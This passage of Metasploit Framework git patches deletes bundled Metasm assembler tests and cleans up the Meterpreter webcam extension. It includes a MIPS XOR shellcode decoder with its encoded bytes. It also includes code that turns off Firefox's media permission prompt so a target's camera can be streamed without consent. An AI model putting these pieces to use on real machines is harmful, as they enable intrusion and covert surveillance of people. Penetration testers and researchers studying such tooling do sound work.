assert_equal(disassemble("\xc4\xc2\xe9\x92\x0c\x0a").decoded[0].instruction.to_s, "vgatherdpd xmm1, qword ptr [edx+xmm1], xmm2") - end -end diff --git a/lib/metasm/tests/mips.rb b/lib/metasm/tests/mips.rb deleted file mode 100644 index 6eaa834c5b..0000000000 --- a/lib/metasm/tests/mips.rb +++ /dev/null @@ -1,116 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'test/unit' -require 'metasm' - -class TestMips < Test::Unit::TestCase - - def test_enc - sc = Metasm::Shellcode.assemble(Metasm::MIPS.new(:big), <<EOS) -; -; MIPS nul-free xor decoder -; -; (C) 2006 Julien TINNES -; <julien at cr0.org> -; -; The first four bytes in encoded shellcode must be the xor key -; This means that you have to put the xor key right after -; this xor decoder -; This key will be considered part of the encoded shellcode -; by this decoder and will be xored, thus becoming 4NULs, meaning nop -; -; This is Linux-only because I use the cacheflush system call -; -; You can use shellforge to assemble this, but be sure to discard all -; the nul bytes at the end (everything after x01\\x4a\\x54\\x0c) -; -; change 2 bytes in the first instruction's opcode with the number of passes -; the number of passes is the number of xor operations to apply, which should be -; 1 (for the key) + the number of 4-bytes words you have in your shellcode -; you must encode ~(number_of_passes + 1) (to ensure that you're nul-free) - - -;.text -;.align 2 -;.globl main -;.ent main -;.type main,@function - -main: - - li $14, -5 ; 4 passes - nor $14, $14, $0 ; put number of passes in $14 - - li $11,-73 ; addend to calculated PC is 73 -;.set noreorder -next: - bltzal $8, next -;.set reorder - slti $8, $0, 0x8282 - nor $11, $11, $0 ; addend in $9 - addu $25, $31, $11 ; $25 points to encoded shellcode +4 -; addu $16, $31, $11 ; $16 too (enable if you want to pass correct parameters to cacheflush - -; lui $2, 0xDDDD ; first part of the xor (old method) - slti $23, $0, 0x8282 ; store 0 in $23 (our counter) -; ori $17, $2, 0xDDDD ; second part of the xor (old method) - lw $17, -4($25) ; load xor key in $17 - - - li $13, -5 - nor $13, $13, $0 ; 4 in $13 - - addi $15, $13, -3 ; 1 in $15 -loop: - lw $8, -4($25) - - addu $23, $23, $15 ; increment counter - xor $3, $8, $17 - sltu $30, $23, $14 ; enough loops? - sw $3, -4($25) - addi $6, $13, -1 ; 3 in $6 (for cacheflush) - bne $0, $30, loop - addu $25, $25, $13 ; next instruction to decode :) - - -; addiu $4, $16, -4 ; not checked by Linux -; li $5,40 ; not checked by Linux -; li $6,3 ; $6 is set above - -; .set noreorder - li $2, 4147 ; cacheflush - ;.ascii "\\x01JT\\x0c" ; nul-free syscall - syscall 0x52950 -; .set reorder - - - ; write last decoder opcode and decoded shellcode -; li $4,1 ; stdout -; addi $5, $16, -8 -; li $6,40 ; how much to write -; .set noreorder -; li $2, 4004 ; write -; syscall -; .set reorder - - - nop ; encoded shellcoded must be here (xor key right here ;) -; $t9 (aka $25) points here -EOS - # ruby19 string.encoding. What a wonderful feature! - # if we use a "\x<80 or more>", the encoding is 8bits - # '' << "\x80" => 8bits - # '' << 0x80 => ascii - # Edata.data is ascii for now, so this is needed to make the test work. - str = '' - "\x24\x0e\xff\xfb\x01\xc0\x70\x27\x24\x0b\xff\xb7\x05\x10\xff\xff\x28\x08\x82\x82\x01\x60\x58\x27\x03\xeb\xc8\x21\x28\x17\x82\x82\x8f\x31\xff\xfc\x24\x0d\xff\xfb\x01\xa0\x68\x27\x21\xaf\xff\xfd\x8f\x28\xff\xfc\x02\xef\xb8\x21\x01\x11\x18\x26\x02\xee\xf0\x2b\xaf\x23\xff\xfc\x21\xa6\xff\xff\x17\xc0\xff\xf9\x03\x2d\xc8\x21\x24\x02\x10\x33\x01\x4a\x54\x0c\0\0\0\0".each_byte { |b| str << b } - assert_equal(str, sc.encoded.data) - - dasm_src = Metasm::Shellcode.disassemble(Metasm::MIPS.new(:big), sc.encoded.data).to_s - lines = dasm_src.respond_to?(:lines) ? dasm_src.lines : dasm_src.to_a - assert_equal(28, lines.grep(/\S/).length) - end -end diff --git a/lib/metasm/tests/parse_c.rb b/lib/metasm/tests/parse_c.rb deleted file mode 100644 index 3fb412bcef..0000000000 --- a/lib/metasm/tests/parse_c.rb +++ /dev/null @@ -1,239 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'test/unit' -require 'metasm' - -class TestDynldr < Test::Unit::TestCase - def cp - @cp ||= Metasm::Ia32.new.new_cparser - end - - def test_parse_c - assert_nothing_raised { - cp.parse("static int i_1=42; __stdcall __int64 foo_1(const char*);") - } - - assert_kind_of(Metasm::C::Function, cp.toplevel.symbol['foo_1'].type) - - assert_raise(Metasm::ParseError) { cp.parse("static extern int fu;") } - cp.readtok until cp.eos? - - assert_nothing_raised { cp.parse("const volatile volatile const char const * const * blarg_0;") } - - assert_nothing_raised { cp.parse("void *ptr = &ptr;") } - - assert_raise(Metasm::ParseError) { cp.parse("void *ptr = ptr;") } - cp.readtok until cp.eos? - - assert_nothing_raised { cp.parse("struct { int sz; } bla = { .sz = sizeof(bla) };") } - - assert_raise(Metasm::ParseError) { cp.parse("signed unsigned int fu;") } - cp.readtok until cp.eos? - - assert_raise(Metasm::ParseError) { cp.parse("long long long fu;") } - cp.readtok until cp.eos? - - assert_raise(Metasm::ParseError) { cp.parse("void badarg(int i, int i) {}") } - cp.readtok until cp.eos? - - assert_raise(Metasm::ParseError) { cp.parse("struct strun; union strun;") } - cp.readtok until cp.eos? - - assert_raise(Metasm::ParseError) { cp.parse <<EOS } -asm <<EOA - foo - EOA -EOS - cp.readtok until cp.eos? - - assert_nothing_raised { cp.parse <<EOS } -asm <<-EOA - foo - EOA -EOS - end - - def test_struct - cp.parse <<EOS -struct foo_2 { - __int32 a; - __int8 b; - __int32 c; - __int8 d; -}; - -struct foo_3 { - __int8 a; - __int8 b; - __int16 c; - __int32 d; -}; - -struct foo_4 { - __int32 a; - __int8 b; - __int32 c; - __int8 d; -} __attribute__((packed)); - -union foo_5 { - __int64; - struct { - __int8; - __int8*; - }; - struct { - __int16[8]; - }; -}; -EOS - assert_equal(16, cp.sizeof(cp.toplevel.struct['foo_2'])) - assert_equal(8, cp.toplevel.struct['foo_2'].offsetof(cp, 'c')) - assert_equal(8, cp.sizeof(cp.toplevel.struct['foo_3'])) - assert_equal(10, cp.sizeof(cp.toplevel.struct['foo_4'])) - assert_equal(4, cp.toplevel.struct['foo_4'].offsetof(cp, 'b')) - assert_equal(5, cp.toplevel.struct['foo_4'].offsetof(cp, 'c')) - assert_equal(16, cp.sizeof(cp.toplevel.struct['foo_5'])) - - assert_raise(Metasm::ParseError) { cp.parse("struct foo_3 { __int32 a; };") } - cp.readtok until cp.eos? - assert_nothing_raised { cp.parse("struct foo_3 { __int8 a; __int8 b; __int16 c; __int32 d; };") } - - assert_nothing_raised { - cp.parse <<EOS -struct scop { int i; }; - -void func1(void) { - struct scop { __int64 j; __int64 z; }; - struct scop s; - s.j = 0; -} - -void func2(void) { - struct scop s; - s.i = 0; -} -EOS - } - end - - def test_bitfields - cp.parse <<EOS -struct foo_bits { - __int32 f0:4; - __int32 :0; - __int32 f1:4; - __int32 f2:4; - __int8 f3; - __int32 f4:4; - __int32 f5:30; -}; - -struct foo_n_bits { - struct foo_bits; -}; - -struct foo2_bits { - __int64 f0:30; - __int64 f1:30; - __int64 f2:30; -}; - -struct foo3_bits { - __int16 f0:8; - __int16 f1:4; - __int16 f2:1; -}; -EOS - st = cp.toplevel.struct['foo_bits'] - assert_equal(20, cp.sizeof(st)) - assert_equal([0, 4], st.bitoffsetof(cp, 'f1')) - assert_equal([4, 4], st.bitoffsetof(cp, 'f2')) - assert_equal(8, st.offsetof(cp, 'f3')) - assert_equal(12, st.offsetof(cp, 'f4')) - assert_equal([0, 30], st.bitoffsetof(cp, 'f5')) - - st = cp.toplevel.struct['foo_n_bits'] - assert_equal(20, cp.sizeof(st)) - assert_equal([0, 4], st.bitoffsetof(cp, 'f1')) - assert_equal([4, 4], st.bitoffsetof(cp, 'f2')) - assert_equal(8, st.offsetof(cp, 'f3')) - assert_equal(12, st.offsetof(cp, 'f4')) - assert_equal([0, 30], st.bitoffsetof(cp, 'f5')) - - st = cp.toplevel.struct['foo2_bits'] - assert_equal([0, 30], st.bitoffsetof(cp, 'f0')) - assert_equal([30, 30], st.bitoffsetof(cp, 'f1')) - assert_equal([0, 30], st.bitoffsetof(cp, 'f2')) - - st = cp.toplevel.struct['foo3_bits'] - assert_equal(2, cp.sizeof(st)) - end - - def test_allocstruct -cp.parse <<EOS -struct foo_outer { - int i; - struct { - int j; - int k; - } inner; -}; -EOS - s = cp.alloc_c_struct('foo_outer', :i => :size) - assert_equal(12, s.sizeof) - assert_equal(12, s.i) - assert_raise(RuntimeError) { s.l = 42 } - assert_nothing_raised { s.j = 0x12345678 } - assert_nothing_raised { s.inner.k = 0x3333_3333 } - assert_equal(4, s.inner.stroff) - assert_equal("0C0000007856341233333333", s.str.unpack('H*')[0].upcase) - end - - def test_cmpstruct -st = <<EOS -struct foo { - struct foo *p; - int i; -}; - -struct s1 { - struct s2 *p; -}; - -struct s2 { - struct s1 *p; -}; -EOS - cp.parse st - cp.parse <<EOS -struct t1 { - struct t2 *pt; -}; -struct t2 { - struct t1 *pt; -}; -EOS - - cp2 = Metasm::Ia32.new.new_cparser - cp2.parse(st) - cp2.parse <<EOS -struct t1 { - struct t2 *pt; -}; -struct t2 { - struct t3 *pt; -}; -struct t3 { - struct t1 *pt; -}; -EOS - assert_equal(true, cp.toplevel.struct['foo'] == cp2.toplevel.struct['foo']) - assert_equal(true, cp.toplevel.struct['s1'].compare_deep(cp2.toplevel.struct['s1'])) - assert_equal(true, cp.toplevel.struct['t1'] == cp2.toplevel.struct['t1']) # expected failure - assert_equal(false, !!cp.toplevel.struct['t1'].compare_deep(cp2.toplevel.struct['t1'])) - end -end diff --git a/lib/metasm/tests/preprocessor.rb b/lib/metasm/tests/preprocessor.rb deleted file mode 100644 index 0fa0b4032f..0000000000 --- a/lib/metasm/tests/preprocessor.rb +++ /dev/null @@ -1,269 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'test/unit' -require 'metasm/preprocessor' -require 'metasm/parse' - - -# BEWARE OF TEH RUBY PARSER -# use single-quoted source strings -class TestPreproc < Test::Unit::TestCase - def load txt, bt = caller.first - p = Metasm::Preprocessor.new - bt =~ /^(.*?):(\d+)/ - p.feed txt, $1, $2.to_i+1 - p - end - - def test_gettok - p = load <<'EOS' -test boo -" bla bla\ -\"\\" \ -xx -EOS - assert_equal \ - ['test', :space, :string, :eol, :quoted, :space, 'xx', :eol, true], - [p.readtok.raw, p.readtok.type, p.readtok.type, p.readtok.type, p.readtok.type, p.readtok.type, p.readtok.raw, p.readtok.type, p.eos?] - end - - def test_comment - p = load <<'EOS' -foo /*/ bar ' " * /*/ baz -kikoo // lol \ -asv -EOS - toks = [] - nil while tok = p.readtok and (tok.type == :space or tok.type == :eol) - until p.eos? - toks << tok.raw - nil while tok = p.readtok and (tok.type == :space or tok.type == :eol) - end - assert_equal %w[foo baz kikoo], toks - end - - def helper_preparse(text, result) - p = load(text, caller.first) - yield p if block_given? - txt = '' - until p.eos? or not t = p.readtok - txt << t.raw - end - assert_equal(result, txt.strip) - end - - def test_preproc - # ignores eol/space at begin/end - helper_preparse(<<EOS, '') -#if 0 // test # as first char -toto -#endif -EOS - helper_preparse(<<EOS, 'coucou') -#define tutu -#if defined ( tutu ) -tutu coucou -#endif -EOS - helper_preparse('a #define b', 'a #define b') - helper_preparse(<<EOS, "// true !\nblu") -#ifdef toto // this is false -bla -#elif .2_3e-4 > 2 /* this one too */ -blo -#elif (1+1)*2 > 2 // true ! -blu -#elif 4 > 2 // not you -ble -#else -bli -#endif -EOS - helper_preparse(<<'EOS', 'ab#define x') -a\ -b\ -#define x -EOS - p = load('__LINE__,__DATE__,__TIME__') - assert_equal(__LINE__, p.readtok.value) ; p.readtok - assert_not_equal('__DATE__', p.readtok.raw) ; p.readtok - assert_not_equal('__TIME__', p.readtok.raw) - - helper_preparse(<<EOS, 'toto 1 toto 12 toto 3+(3-2) otot hoho') -#define azer(k) 12 -# define xxx azer(7) -#define macro(a, b, c) toto a toto b toto c otot -macro(1, xxx, 3+(3-2)) hoho -EOS - helper_preparse(<<EOS, 'c') -#define a b -#define d c -#define c d -#define b c -a -EOS - helper_preparse(<<EOS, 'b') -#define b c -#define a b -#undef b -a -EOS - helper_preparse(<<EOS, 'toto tutu huhu()') -#define toto() abcd -#define tata huhu -toto tutu tata() -EOS - helper_preparse(<<EOS, '"haha"') -#define d(a) #a -d(haha) -EOS - helper_preparse(<<EOS, '{') -#define toto(a) a -toto({) -EOS - helper_preparse(<<EOS, 'x(, 1)') -#define d(a,b) x(a, b) -d(,1) -EOS - helper_preparse(<<EOS, '"foo" "4"') -#define str(x) #x -#define xstr(x) str(x) -#define foo 4 -str(foo) xstr(foo) -EOS - begin - File.open('tests/prepro_testinclude.asm', 'w') { |fd| fd.puts '#define out in' } - helper_preparse(<<EOS, 'in') -#pragma include_path "." -#include <tests/prepro_testinclude.asm> -out -EOS - ensure - File.unlink('tests/prepro_testinclude.asm') rescue nil - end - - helper_preparse(<<EOS, 'in') { |p_| p_.hooked_include['bla.h'] = '#define out in' } -#include <bla.h> -out -EOS - helper_preparse(<<EOS, 'in') { |p_| p_.define('out', 'in') } -out -EOS - helper_preparse(<<EOS, 'in') { |p_| p_.define_strong('out', 'in') } -out -EOS - helper_preparse(<<EOS, 'in') { |p_| p_.define_strong('out', 'in') } -#define out poil -out -EOS - helper_preparse(<<EOS, 'in') { |p_| p_.define('out', 'in') ; p_.define_weak('out', 'poil') } -out -EOS - p = load <<EOS -#define cct(a, b) a ## _ ## b -cct(toto, tutu) -EOS - nil while tok = p.readtok and (tok.type == :space or tok.type == :eol) - assert_equal('toto_tutu', tok.raw) # check we get only 1 token back - - # assert_outputs_a_warning ? - helper_preparse(<<EOS, <<EOS.strip) -#define va1(a, b...) toto(a, ##b) -#define va3(a, ...) toto(a, __VA_ARGS__) -va1(1, 2); -va1(1,2); -va1(1); -va3(1, 2); -va3(1); -EOS -toto(1, 2); -toto(1,2); -toto(1); -toto(1, 2); -toto(1, ); -EOS - - helper_preparse(<<EOS, "#define a c\n#define b d\na b") -#define x(z) z -#define y #define -x(#)define a c -y b d -a b -EOS - helper_preparse("#define a(a) a(a)\na(1)", '1(1)') - helper_preparse("#if 0\n#endif", '') - helper_preparse("#if 0U\n#endif", '') - helper_preparse("#if 0L\n#endif", '') - helper_preparse("#if 0LLU\n#endif", '') - end - - def test_floats - t_float = lambda { |txt| - text = <<EOS -#if #{txt} -1 -#endif -EOS - p = load text, caller.first - txt = '' - t = nil - txt << t.raw until p.eos? or not t = p.readtok - assert_equal('1', txt.strip) - } - t_float['1 > 0'] - t_float['1.0 > 0'] - t_float['1e2 > 10 && 1.0e2 < 1000'] - t_float['1.0e+2 > 10'] - t_float['10_00e-2 > 1 && 10_00e-2 < 100'] - t_float['.1e2 > 1'] - #t_float['0x1.p2L > 1 && 0x1p2f < 5'] - t_float['0x1.p2L > 1'] - t_float['0x1p2f < 5'] - end - - def test_errors - test_err = lambda { |txt| assert_raise(Metasm::ParseError) { p = load(txt, caller.first) ; p.readtok until p.eos? } } - t_float = lambda { |txt| assert_raise(Metasm::ParseError) { p = load("#if #{txt}\n#endif", caller.first) ; p.readtok } } - test_err["\"abc\n\""] - test_err['"abc\x"'] - test_err['/*'] - test_err['#if 0'] - test_err["#define toto(tutu,"] - test_err["#define toto( (tutu, tata)"] - test_err['#error bla'] - test_err[<<EOS] -#if 0 -#elif 1 -#else -#if 2 -#endif -EOS - test_err[<<EOS] -#define abc(def) -abc (1, 3) -EOS - test_err["#if 0LUL\n#endif"] - # warnings only - #test_err["#define aa\n#define aa"] - #test_err['#define a(b) #c'] - #test_err['#define a(b, b)'] - #test_err['#define a ##z'] - t_float['1e++4'] - t_float['1.0e 4'] - t_float['_1.0'] - t_float['.e2'] - t_float['1.1e+_1'] - t_float['.2e'] - t_float['.'] - t_float['1.2e*4'] - t_float['0x1.e4'] - t_float['0x1.p4a'] - t_float['0x.p1'] - t_float['0x.1lp1'] - end -end - diff --git a/lib/metasm/tests/x86_64.rb b/lib/metasm/tests/x86_64.rb deleted file mode 100644 index f29ae70fc8..0000000000 --- a/lib/metasm/tests/x86_64.rb +++ /dev/null @@ -1,102 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'test/unit' -require 'metasm' - -class TestX86_64 < Test::Unit::TestCase - @@cpu = Metasm::X86_64.new - def assemble(src, cpu=@@cpu) - Metasm::Shellcode.assemble(cpu, src).encode_string - end - - def test_user - assert_equal(Metasm::X86_64, Metasm::Ia32.new(64).class) - end - - def test_basic - assert_equal("\x90", assemble("nop")) - assert_equal("\x50", assemble("push rax")) - assert_equal("\x41\x50", assemble("push r8")) - assert_equal("\x6a\x02", assemble("push 2")) - assert_equal("\x68\x8e\0\0\0", assemble("push 142")) - assert_equal("\x48\xbb\xef\xcd\xab\x89\x67\x45\x23\x01", assemble("mov rbx, 0123456789abcdefh")) - assert_equal("\x8d\x05\x0c\0\0\0", assemble("lea eax, [rip+12]")) - assert_equal("\x8d\x04\x25\x0c\0\0\0", assemble("lea eax, [12]")) - assert_equal("\x48\x81\xE3\xFF\xF0\xFF\xFF", assemble("and rbx, 0xffffffff_fffff0ff")) - end - - def test_err - assert_raise(Metasm::ParseError) { assemble("add eax") } - assert_raise(Metasm::ParseError) { assemble("add add, ebx") } - assert_raise(Metasm::ParseError) { assemble("add 42, ebx") } - assert_raise(Metasm::ParseError) { assemble("add [bx]") } - assert_raise(Metasm::ParseError) { assemble("add [eip+4*eax]") } - assert_raise(Metasm::ParseError) { assemble("add ah, r8b") } - assert_raise(Metasm::EncodeError) { assemble("and rbx, 0x1_ffffffff_ffffffff") } - assert_raise(Metasm::EncodeError) { assemble("mov rbx, 011123456789abcdefh") } - end - - def disassemble(bin, cpu=@@cpu) - Metasm::Shellcode.disassemble(cpu, bin) - end - - def test_dasm - d = disassemble("\x90") - assert_equal(Metasm::DecodedInstruction, d.decoded[0].class) - assert_equal('nop', d.decoded[0].opcode.name) - end - - def test_rex - assert_equal("\xfe\xc0", assemble("inc al")) - assert_equal("\xfe\xc4", assemble("inc ah")) - assert_equal("\x40\xfe\xc4", assemble("inc spl")) - assert_equal("\x41\xfe\xc4", assemble("inc r12b")) - op = lambda { |s| i = disassemble(s).decoded[0].instruction ; i.to_s ; i.args.last.to_s } - assert_equal('al', op["\xfe\xc0"]) - assert_equal('ah', op["\xfe\xc4"]) - assert_equal('spl', op["\x40\xfe\xc4"]) - assert_equal('r12b', op["\x41\xfe\xc4"]) - assert_equal('[rip-6+12h]', op["\x8d\x05\x0c\0\0\0"]) - end - - def test_opsz - assert_equal("\x66\x98", assemble("cbw")) - assert_equal("\x98", assemble("cwde")) - assert_equal("\x48\x98", assemble("cdqe")) - - assert_equal("\x0f\xc7\x08", assemble("cmpxchg8b [rax]")) - assert_equal("\x48\x0f\xc7\x08", assemble("cmpxchg16b [rax]")) - - assert_equal(nil, disassemble("\x66\x0f\xc7\x08").decoded[0]) - assert_equal('cmpxchg8b', disassemble("\x47\x0f\xc7\x08").decoded[0].opcode.name) - assert_equal('cmpxchg16b', disassemble("\x48\x0f\xc7\x08").decoded[0].opcode.name) - end - - def test_avx - assert_equal('vmpsadbw ymm12, ymm14, ymm2, 3', disassemble("\xc4\x63\x0d\x42\xe2\x03").decoded[0].instruction.to_s) - assert_equal("\xc4\x63\x0d\x42\xe2\x03", assemble('vmpsadbw ymm12, ymm14, ymm2, 3')) - assert_equal("\xc5\x31\x63\xc2", assemble('vpacksswb xmm8, xmm9, xmm2')) - assert_equal("\xc4\x41\x31\x63\xc2", assemble('vpacksswb xmm8, xmm9, xmm10')) - assert_equal("\xc5\x31\x63\x04\x5a", assemble('vpacksswb xmm8, xmm9, [rdx+2*rbx]')) - assert_equal("\xc4\x01\x31\x63\x04\x5a", assemble('vpacksswb xmm8, xmm9, [r10+2*r11]')) - assert_equal("\xc4\x22\x99\x92\x14\x1a", assemble('vgatherdpd xmm10, qword ptr [rdx+xmm11], xmm12')) - assert_equal('vgatherdpd xmm10, qword ptr [rdx+xmm11], xmm12', disassemble("\xc4\x22\x99\x92\x14\x1a").decoded[0].instruction.to_s) - end - - def test_lol - # x64 nop weirdnesses - assert_equal("\x87\xc0", assemble('xchg eax, eax')) - assert_equal('xchg r8, rax', disassemble("\x49\x90").decoded[0].instruction.to_s) - end - - def test_C_size - assert_nothing_raised { - Metasm::Shellcode.compile_c(@@cpu, "void main(void) { int i=5670, j=8907 ; i = i*j; }").encode_string - } - end - -end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index eb2924b3bd..e2631c4a04 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -55,6 +55,8 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'jsobfu', '~> 0.2.0' # Needed for some admin modules (scrutinizer_add_user.rb) spec.add_runtime_dependency 'json' + # Metasm compiler/decompiler/assembler + spec.add_runtime_dependency 'metasm', '~> 1.0.2' # Metasploit::Concern hooks spec.add_runtime_dependency 'metasploit-concern', '1.0.0' # Things that would normally be part of the database model, but which From 4e8cc47299c778ac68a970955829690b7790a9d2 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 24 Aug 2015 16:19:16 -0500 Subject: [PATCH 0351/2172] remove superfluous SYSTEMDRIVE path --- lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 7e063e744b..1e54b650df 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -111,9 +111,6 @@ class Webcam "%ProgramW6432%\\Mozilla Firefox\\firefox.exe" ] - drive = session.sys.config.getenv("SYSTEMDRIVE") - paths = paths.map { |p| "#{drive}\\#{p}" } - # Old chrome path user_profile = client.sys.config.getenv("USERPROFILE") paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe" From f96236d61f1c4d005e8fb942896be4193eb78a0d Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 24 Aug 2015 16:21:34 -0500 Subject: [PATCH 0352/2172] remove redundant to_s and RuntimeError --- .../extensions/stdapi/webcam/webcam.rb | 23 +++++++++++-------- 1 file changed, 13 insertions(+), 10 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 1e54b650df..2d8645b53a 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -70,7 +70,7 @@ class Webcam remote_browser_path = get_webrtc_browser_path if remote_browser_path.blank? - raise RuntimeError, "Unable to find a suitable browser on the target machine" + raise "Unable to find a suitable browser on the target machine" end ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id) @@ -163,8 +163,8 @@ class Webcam write_file("#{tmp_dir}\\interface.html", interface) write_file("#{tmp_dir}\\api.js", api) rescue ::Exception => e - elog("webcam_chat failed. #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to initialize the interface on the target machine" + elog("webcam_chat failed. #{e.class} #{e}") + raise "Unable to initialize the interface on the target machine" end # @@ -181,8 +181,8 @@ class Webcam begin write_file(profile_path, setting) rescue ::Exception => e - elog("webcam_chat failed: #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to write the necessary setting for Firefox." + elog("webcam_chat failed: #{e.class} #{e}") + raise "Unable to write the necessary setting for Firefox." end args = "-p #{profile_name}" end @@ -192,11 +192,14 @@ class Webcam begin session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) rescue ::Exception => e - elog("webcam_chat failed. #{e.class} #{e.to_s}") - raise RuntimeError, "Unable to start the remote browser: #{e.message}" + elog("webcam_chat failed. #{e.class} #{e}") + raise "Unable to start the remote browser: #{e.message}" end end - end - -end; end; end; end; end; end +end +end +end +end +end +end From 6977a12dd83089041cf79b49649858381508c8b4 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 24 Aug 2015 16:39:17 -0500 Subject: [PATCH 0353/2172] whitespace fixups --- .../extensions/stdapi/webcam/webcam.rb | 30 ++++++++----------- 1 file changed, 12 insertions(+), 18 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 2d8645b53a..198e09625e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -1,7 +1,5 @@ # -*- coding: binary -*- -#require 'rex/post/meterpreter/extensions/process' - module Rex module Post module Meterpreter @@ -15,7 +13,6 @@ module Webcam # ### class Webcam - include Msf::Post::Common include Msf::Post::File include Msf::Post::WebRTC @@ -31,9 +28,9 @@ class Webcam def webcam_list response = client.send_request(Packet.create_request('webcam_list')) names = [] - response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv| + response.get_tlvs(TLV_TYPE_WEBCAM_NAME).each do |tlv| names << tlv.value - } + end names end @@ -49,11 +46,11 @@ class Webcam request = Packet.create_request('webcam_get_frame') request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality) response = client.send_request(request) - response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value + response.get_tlv(TLV_TYPE_WEBCAM_IMAGE).value end def webcam_stop - client.send_request( Packet.create_request( 'webcam_stop' ) ) + client.send_request(Packet.create_request('webcam_stop')) true end @@ -67,13 +64,13 @@ class Webcam offerer_id = Rex::Text.rand_text_alphanumeric(10) channel = Rex::Text.rand_text_alphanumeric(20) - remote_browser_path = get_webrtc_browser_path + remote_browser_path = webrtc_browser_path if remote_browser_path.blank? - raise "Unable to find a suitable browser on the target machine" + fail "Unable to find a suitable browser on the target machine" end - ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id) + init_video_chat(remote_browser_path, server, channel, offerer_id) connect_video_chat(server, channel, offerer_id) end @@ -83,21 +80,19 @@ class Webcam request = Packet.create_request('webcam_audio_record') request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration) response = client.send_request(request) - response.get_tlv( TLV_TYPE_AUDIO_DATA ).value + response.get_tlv(TLV_TYPE_AUDIO_DATA).value end attr_accessor :client - private - # # Returns a browser path that supports WebRTC # # @return [String] # - def get_webrtc_browser_path + def webrtc_browser_path found_browser_path = '' case client.platform @@ -125,7 +120,7 @@ class Webcam when /osx|bsd/ [ '/Applications/Google Chrome.app', - '/Applications/Firefox.app', + '/Applications/Firefox.app' ].each do |browser_path| if file?(browser_path) found_browser_path = browser_path @@ -141,7 +136,6 @@ class Webcam found_browser_path end - # # Creates a video chat session as an offerer... involuntarily :-p # Windows targets only. @@ -177,7 +171,7 @@ class Webcam profile_name = Rex::Text.rand_text_alpha(8) o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}") profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip - setting = %Q|user_pref("media.navigator.permission.disabled", true);| + setting = %|user_pref("media.navigator.permission.disabled", true);| begin write_file(profile_path, setting) rescue ::Exception => e @@ -187,7 +181,7 @@ class Webcam args = "-p #{profile_name}" end - exec_opts = {'Hidden' => false, 'Channelized' => false} + exec_opts = { 'Hidden' => false, 'Channelized' => false } begin session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) From dfd00ad50b121802dfca65a82e6c431633e86bac Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Mon, 24 Aug 2015 16:42:33 -0500 Subject: [PATCH 0354/2172] prefer catching RuntimeError --- lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 198e09625e..683c1173e2 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -156,7 +156,7 @@ class Webcam begin write_file("#{tmp_dir}\\interface.html", interface) write_file("#{tmp_dir}\\api.js", api) - rescue ::Exception => e + rescue RuntimeError => e elog("webcam_chat failed. #{e.class} #{e}") raise "Unable to initialize the interface on the target machine" end @@ -174,7 +174,7 @@ class Webcam setting = %|user_pref("media.navigator.permission.disabled", true);| begin write_file(profile_path, setting) - rescue ::Exception => e + rescue RuntimeError => e elog("webcam_chat failed: #{e.class} #{e}") raise "Unable to write the necessary setting for Firefox." end @@ -185,7 +185,7 @@ class Webcam begin session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts) - rescue ::Exception => e + rescue RuntimeError => e 